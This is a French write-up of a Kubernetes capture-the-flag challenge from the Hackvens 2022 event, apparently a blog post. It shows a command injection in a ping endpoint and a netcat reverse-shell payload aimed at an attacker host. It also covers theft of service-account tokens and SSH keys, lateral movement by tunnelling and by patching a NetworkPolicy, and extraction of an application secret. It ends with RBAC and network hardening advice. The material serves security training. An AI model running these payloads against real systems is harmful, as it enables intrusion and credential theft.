            <content:encoded><![CDATA[<h3>Hackvens 2022 — AdminSys Write-up : K8S</h3><p>Le 7 novembre 2022 se déroulait <strong>la première édition du </strong><a href="https://hackvens.fr/"><strong>Hackvens</strong></a>, un événement autour de la cybersécurité organisé par les équipes d’<a href="https://www.advens.fr/">Advens</a>.</p><p>Au programme, des <strong>supers présentations</strong> et retours d’expérience, notamment la suite de la saga Red Team “J’irai m’introduire chez vous” présentée à la <a href="https://www.sthack.fr/">Sthack</a> 2019 ou encore le fonctionnement des bornes de recharges pour les véhicules électriques.</p><p>Notre équipe a ensuite participé à un <strong>Bug Bounty solidaire</strong> pour l’association <a href="https://www.linkedout.fr/"><strong>LinkedOut</strong></a> et au <strong>CTF</strong> jusqu’au petit matin.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bouRd1YS3zj5ok7I5KLYFA.jpeg" /></figure><p>Dans ce post nous allons voir comment résoudre le challenge <a href="https://kubernetes.io/">Kubernetes</a> dans la catégorie AdminSys.</p><h3>Introduction</h3><p>L’énoncé du challenge est le suivant :</p><blockquote>Une application en pré-prod est exposé sur internet, jusqu&#39;où pourrez vous aller ?</blockquote><blockquote>NB: L&#39;administrateur surveille son infra toutes les 15 minutes.</blockquote><blockquote>https://k8s.hackvens.fr/</blockquote><p>Sur le lien donné on accède au <strong>swagger OpenAPI</strong> d’une API en <strong>pré-production</strong>.</p><p>Sur le swagger on remarque que l’application utilise <strong>API Platform</strong> et donc <strong>PHP Symfony</strong>.</p><p>De plus deux routes sont accessibles :</p><ul><li>POST /flag où il faut passer en data {&quot;secret&quot;:&quot;&quot;} afin d’obtenir le flag.</li><li>POST /ping/ où il faut passer en data {&quot;address&quot;:&quot;&quot;} afin d’effectuer un ping vers l’adresse depuis le serveur de l’API.</li></ul><p>Après quelques tests la route /ping/ est vulnérable à une<strong> injection de commande</strong> :</p><pre>curl -X POST http://10.42.1.44/ping/ -H &quot;Host: k8s.hackvens.fr&quot; -H &quot;Accept: application/json&quot; -H &quot;Content-Type: application/json&quot; -d &#39;{&quot;address&quot;: &quot;localhost; echo &#39;test&#39;&quot;}</pre><pre>...<br>test</pre><p>Ainsi il est possible d’<strong>exécuter des commandes directement sur le container de l’application en pré-production</strong>.</p><p>On peut alors mettre en place un reverse shell avec le payload suivant :</p><pre>{</pre><pre>&quot;address&quot;: &quot;localhost; mkfifo /tmp/e;nc IP PORT 0&lt;/tmp/e|/bin/sh <em>-i</em> <em>2</em>&gt;&amp;1|tee /tmp/e&quot;</pre><pre>}</pre><h3>Utilisation du Service Account du pod “pré-production”</h3><p>Afin de confirmer notre présence sur un pod au sein d’un cluster Kubernetes on peut directement vérifier le contenu du répertoire où sont généralement montées<strong> les informations du Service Account configuré pour le pod</strong> : /var/run/secrets/kubernetes.io/serviceaccount</p><pre>ls /var/run/secrets/kubernetes.io/serviceaccount<br>ca.crt namespace token</pre><p>C’est bien le cas ! Les informations du Service Account sont présentes et on peut alors les utiliser pour<strong> accéder à l’API du cluster Kubernetes</strong>. 🔑</p><p>Par soucis de praticité, il est possible de directement télécharger le binaire de kubectl sur le container du pod :</p><pre>cd /tmp</pre><pre>curl -LO &quot;https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl&quot;</pre><pre>chmod +x /tmp/kubectl</pre><pre>alias &quot;kubectl=/tmp/kubectl --token $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)&quot;</pre><p>On peut alors utiliser kubectl pour<strong> lister les droits</strong> de ce Service Account sur le cluster :</p><pre>kubectl auth can-i --list</pre><pre>Resources      Non-Resource URLs    Resource Names   Verbs...<br>...<br>namespace      []                   []               [list]<br>...</pre><p>Nous avons la possibilité de<strong> lister les namespaces</strong> :</p><pre>kubectl get ns</pre><pre>...<br>monitoring<br>ping<br>ping-preprod<br>...</pre><p>On peut alors vérifier ses droits sur les deux autres namespaces “métiers” :</p><pre>kubectl auth can-i --list -n monitoring</pre><pre>Resources      Non-Resource URLs    Resource Names   Verbs...<br>...<br>pod         []                   []               [get list]<br>secret      []                   []               [get list]<br>...</pre><p>Nous avons le droit de <strong>lire les secrets et les informations des pods</strong> sur le namespace monitoring avec le Service Account du pod de pré-production.</p><p>Sur le namespace de production ping nous n’avons pas de droit particulier. ❌</p><p>Dans les secrets du namespace monitoring on obtient<strong> un nom d’utilisateur et une clé privée pour la configuration du SSH</strong> sur le pod monitor-5fb88b66dd-q9dl6:</p><pre>kubectl get pods -n monitor<br>NAME                       READY   STATUS    RESTARTS   AGE<br>monitor-5fb88b66dd-q9dl6   1/1     Running   0          10m</pre><pre>kubectl get secrets -n monitor -o yaml<br>...<br>ssh-key: LS0tLS1CRU..<br>username: bGVldA==<br>...</pre><p>On peut alors tenter de<strong> se connecter à ce pod via SSH afin de récupérer son Service Account</strong>.</p><p>La configuration du pod monitoring-5fb88b66dd-q9dl6nous indique :</p><ul><li>son IP sur le cluster : 10.42.2.54</li><li>le port du server SSH : 2222</li></ul><p>L’installation d’un client SSH semble compliquée sur le pod de pré-production : nous n’avons pas la possibilité de compiler ou d’installer via un gestionnaire de paquet…</p><p>Ainsi il est possible d’utiliser <a href="https://github.com/jpillora/chisel">Chisel</a> afin d’établir un <strong>tunnel TCP over HTTP </strong>pour établir une <strong>connexion SSH entre notre PC et le pod</strong> dans le namespace monitor :</p><pre># Sur notre PC:<br>./chisel server -port 2222</pre><pre># Sur le pod de pré-production :<br>./chisel client IP R:2222:10.42.2.54:2222</pre><h3>Pivot sur le Service Account du pod “monitor”</h3><p>Il est maintenant possible d’exécuter des commandes sur le pod dans le namespace monitor.</p><p>On peut donc appliquer<strong> la même démarche que pour le pod de pré-production </strong>🔎 :</p><ul><li>récupération des informations du Service Account</li><li>analyse de la configuration RBAC pour le Service Account namespace par namespace</li></ul><p>On remarque les permission suivantes sur le <strong>namespace de production </strong>ping :</p><pre>kubectl auth can-i --list -n ping</pre><pre>Resources    Non-Resource URLs    Resource Names   Verbs<br>...<br>pod                []                []            [list get]<br>NetworkPolicies    []                []            [list get patch]<br>...</pre><p>Nous avons la possibilité de <strong>modifier la NetworkPolicy présente sur le namespace de production</strong> afin d’<strong>autoriser les connexions entrantes et sortantes depuis un autre namespace</strong>.</p><p>L’objectif est d’<strong>accéder au service de production depuis le pod de pré-production</strong> afin de récupérer le flag. 🚩</p><p>Ainsi il faut <strong>modifier la NetworkPolicy</strong> pour rajouter les namespaceSelector pour le namespace pring-preprod :</p><pre>cat /tmp/np.yaml</pre><pre>apiVersion: networking.k8s.io/v1<br>kind: NetworkPolicy<br>metadata:<br>  annotations:<br>    meta.helm.sh/release-name: ping<br>    meta.helm.sh/release-namespace: ping<br>  labels:<br>    app.kubernetes.io/managed-by: Helm<br>  name: isolate-prod<br>  namespace: ping<br>spec:<br>  egress:<br>  - to:<br>    - namespaceSelector:<br>        matchLabels:<br>          kubernetes.io/metadata.name: ping<br>    - namespaceSelector:<br>        matchLabels:<br>          kubernetes.io/metadata.name: ping-preprod<br>  ingress:<br>  - from:<br>    - namespaceSelector:<br>        matchLabels:<br>          kubernetes.io/metadata.name: ping<br>    - namespaceSelector:<br>        matchLabels:<br>          kubernetes.io/metadata.name: ping-preprod<br>  podSelector: {}<br>  policyTypes:<br>  - Ingress<br>  - Egress</pre><p>On applique les modifications avec kubectl apply -f /tmp/np.yaml .</p><p>On peut désormais <strong>accéder au service de production via son IP</strong> <strong>au sein du cluster</strong> récupérée dans sa configuration ✅ :</p><pre>curl <a href="http://10.42.1.44/">http://10.42.1.44/</a></pre><h3>Récupération du flag sur le service de production</h3><p>Il est alors possible de vérifier si le service en production présente les même vulnérabilité que le service en pré-production :</p><pre>curl -X POST http://10.42.1.44/ping/ -H &quot;Host: k8s.hackvens.fr&quot; -H &quot;Accept: application/json&quot; -H &quot;Content-Type: application/json&quot; -d &#39;{&quot;address&quot;: &quot;localhost; echo &#39;test&#39;&quot;}</pre><pre>...<br>test</pre><p>C’est le cas, nous pouvons donc <strong>exécuter des commande sur le container de production</strong>. ✅</p><p>La seule information manquante semble être le secret à passer lors de l’appel à la route /flag .</p><p>Une variable d’environnement souvent utilisée par Symfony (et Laravel) pour un secret applicatif est APP_SECRET ainsi on peut tenter sa récupération :</p><pre>curl -X POST http://10.42.1.44/ping/ -H &quot;Host: k8s.hackvens.fr&quot; -H &quot;Accept: application/json&quot; -H &quot;Content-Type: application/json&quot; -d &#39;{&quot;address&quot;: &quot;localhost; echo $APP_SECRET&quot;}</pre><pre>Kaa!D4360WfwPF6LDS@!FoKu^rB!q00xmpFW1Fhl1WT^f2$N2d</pre><p>Le secret est bien là, on peut alors tenter la récupération du flag :</p><pre>curl -X POST http://10.42.1.44/flag -H &quot;Host: k8s.hackvens.fr&quot; -H &quot;Accept: application/json&quot; -H &quot;Content-Type: application/json&quot; -d &#39;{&quot;secret&quot;:&quot;Kaa!D4360WfwPF6LDS@!FoKu^rB!q00xmpFW1Fhl1WT^f2$N2d&quot;}</pre><pre>HACKVENS{YoUsHoulDs3Cur3Y0uRN3etWorkS$And$RBAC!}</pre><p>Le flag se dévoile ! 🥳</p><h3>Conclusion</h3><p>Comme le flag l’indique il est <strong>primordial</strong> de sécuriser son cluster :</p><ul><li>en portant une attention particulière à la <strong>configuration des RBAC</strong> : il ne faut <strong>pas donner des droits trop importants ou inutiles</strong> pour le besoin du service surtout quand il s’agit d’un Service Account monté sur un pod exposé (ou non).</li><li>en utilisant des <strong>NetworkPolicy</strong> afin de <strong>limiter les mouvements latéraux </strong>au sein du cluster.</li></ul><p>Pour aller plus loin il est possible de venir <strong>bloquer les modifications de certaines ressources</strong> ou l’<strong>exécution de certains appels noyaux </strong>par les containers des pods avec une solution comme <a href="https://falco.org/">Falco</a> en définissant des règles de sécurité.</p><p>Un <strong>grand merci</strong> aux équipes d’Advens pour l’organisation de cet événement et la qualité des présentations.</p><p>Merci aussi au créateur du challenge !</p><p><a href="https://www.linkedin.com/in/anthony-domingue-930203162/">LinkedIn</a><br><a href="https://twitter.com/domingueanthony">Twitter</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7ad9f973cc7" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>